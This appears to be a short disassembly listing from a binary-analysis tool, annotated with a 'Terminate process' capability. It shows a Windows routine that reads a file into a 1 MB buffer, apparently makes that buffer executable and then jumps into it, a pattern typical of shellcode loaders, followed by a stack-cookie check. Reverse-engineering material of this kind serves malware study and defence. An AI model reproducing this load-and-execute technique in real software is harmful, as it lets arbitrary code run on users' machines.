mov edi, eax
cmp edi, 0xffffffff
je 0x10001100
push 0
lea edx, [ebp - 0x10c]
push edx
push 0x100000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10001100
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x110]
push eax
push 0x40
push 0x100000
push esi
call ebx
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001137
mov esp, ebp
pop ebp
ret

Function at 0x10001137
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10001141
repz ret
jmp fcn.100013c3